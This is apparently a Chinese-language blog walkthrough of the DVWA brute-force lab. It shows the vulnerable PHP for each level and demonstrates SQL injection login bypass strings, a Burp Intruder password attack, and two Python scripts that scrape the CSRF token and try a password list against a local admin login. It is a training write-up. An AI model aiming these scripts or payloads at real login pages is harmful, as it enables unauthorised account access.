DVWA之暴力破解

针对DVWA里的暴力破解漏洞进行实验测试。主要内容包括BurpSuite的一些Intruder模块的基本使用和简单的python脚本编写。

简介

搞Web安全和渗透的,估计都玩过Dvwa这个靶机。所以关于Dvwa就不说了。直接进入主题吧

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击

话不多说,下面就针对Dvwa中暴力破解模块的不同级别进行分析测试吧。

Low级别

先来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,对于登录的处理,服务器只是验证参数Login是否被设置,并没有任何的防爆破机制。因此可以通过BurpSuite进行爆破。
if( isset( $_GET[ 'Login' ] ) )

此外对参数username、password等也没做任何过滤处理。因此此处还存在SQL注入漏洞,可以使用万能密码绕过,在用户名处输入admin'#或者admin' or '1'='1即可登录。

使用Burp进行爆破

  1. 打开Burp,记得设置浏览器代理。
  2. 进行抓包
    浏览器设置好代理后,点击Login按钮,可以看到Burp成功抓包

  3. 抓到包后,按ctrl+l键,或者右键选择send to Intruder
  4. 因为是要对password参数进行爆破,所以只在password参数内容两边加$

  5. 设置好要爆破的参数后,选择Payloads模块设置字典。
    可以使用Burp自带的简单字典,或者自己去网上下载构造。
    因为此处Burp自带的字典里没有password(正确密码),故我们手动加入进去
  6. 设置攻击字典后,设置爆破线程
    暴力破解是一个穷举的过程,速度很慢,故可以通过多线程加快速度。
    但Burp社区版不提供增加线程功能,我用的是Burp pro破解版
    将线程设为50个,然后点击start attack开始爆破
  7. 上一步点击开始爆破后,会切换到一个爆破任务详情新窗口
    在分析爆破结果前,先讲一下原理(感觉太啰嗦了,麻烦且累以后还是不写这么详细好了)
    我们分别通过万能密码和错误的密码成功登陆和失败登陆,如下两图


    可以看到,返回的信息是不同的,所以响应包的长度Length也不一样
  8. 因此,在爆破任务详情窗口可以通过Length进行筛选
    选出Length “与众不同”的payload即为密码

Medium级别

贴上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,相比low级别的代码,这里主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号进行转义,基本上能抵御SQL注入攻击。但对登录并没做什么防护,因此跟Low级别一样,使用Burp进行爆破即可。

High级别

贴上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

###分析
High级别的代码加入了随机token,可以抵御CSRF攻击,但同时增加了爆破的难度。虽然不能用Burp爆破,但可以用python jio脚本呀
先抓一下包分析一下请求

可以看到,每次服务器返回的登录页面都会生成一个随机的user_token,用户每次登陆时都要将user_token一起提交,服务器每次收到请求后,也都会先做token的检查,再进行sql查询

脚本编写

思路

每次用python登录之前,先用python访问登录页面通过BeautifulSoup将user_token抓取出来。抓出来之后拼接url进行登录。我写了两个脚本,原理都差不多,不过是第二个用了requests库中的Session方法。

实现

好了,不多bb,开始写吧

先贴代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#Version:python3
#coding=utf-8
#Author:Miracle778
from bs4 import BeautifulSoup
import urllib3
import requests
header = {
'Host':'127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer':'http://127.0.0.1/vulnerabilities/brute/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
'Connection':'close'
}

requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl,header):
req = requests.get(url=requrl,headers=header)
response = req.text
soup = BeautifulSoup(response,'html.parser')
user_token = soup.form.find_all(name='input')[-1]['value']
return user_token

#爆10次
i = 0
user_token= get_token(requrl,header)
for line in open("passwd.txt"):
url = requrl + '?username=admin&password=' + line.strip() \
+ '&Login=Login&user_token=' + user_token

i = i+1
req = requests.get(url,headers=header)
status_code = req.status_code
length = len(req.text)
print(i,'admin',line.strip(),status_code,length)
user_token = get_token(requrl,header)
if i==10:
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#Version:python3
#coding=utf-8
#Author:Miracle778
import requests
from bs4 import BeautifulSoup
s = requests.Session()
header = {
'Host':'127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer':'http://127.0.0.1/vulnerabilities/brute/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
'Connection':'close'
}

s.headers = header
requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl):
req = s.get(requrl)
soup = BeautifulSoup(req.text,'html.parser')
user_token = soup.form.find_all(name='input')[-1]['value']
return user_token

for line in open("passwd.txt"):
user_token = get_token(requrl)
url = requrl + '?username=admin&password=' + line.strip() \
+ '&Login=Login&user_token=' + user_token
reponse = s.get(url)
status_code = reponse.status_code
length = len(reponse.text)
print('admin',line.strip(),status_code,length)
编写中注意的点
先用浏览器F12一下,找出user_token所在标签


理清结构后使用BeautifulSoup进行提取(可以用一些爬虫插件、或者直接用python解释器测试)
得到BeautifulSoup提取语句:user_token = soup.form.find_all(name='input')[-1]['value']

设置header要注意,不然脚本无效

因为这个实验测试是之前做的,写文章的时候复现时发现,header不对的话脚本无效
说一下设置header的方法吧。

用Burp抓一下包,然后照着结果设置header。此处应有个笑哭的emoji

效果


Impossible级别

这个不怎么好写,就不写了

总结


想起之前看别人博客学习的时候,别人写的太简洁了而自己知识面不够广,导致自己学习的时候一脸懵。那种自闭的感觉很容易消磨学习的兴趣。所以自己刚开始写Blog,就总想着写得详细。但写得详细的话,太费时间了。所以之后看情况写吧,一些太啰嗦的东西就懒得贴上来了。

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------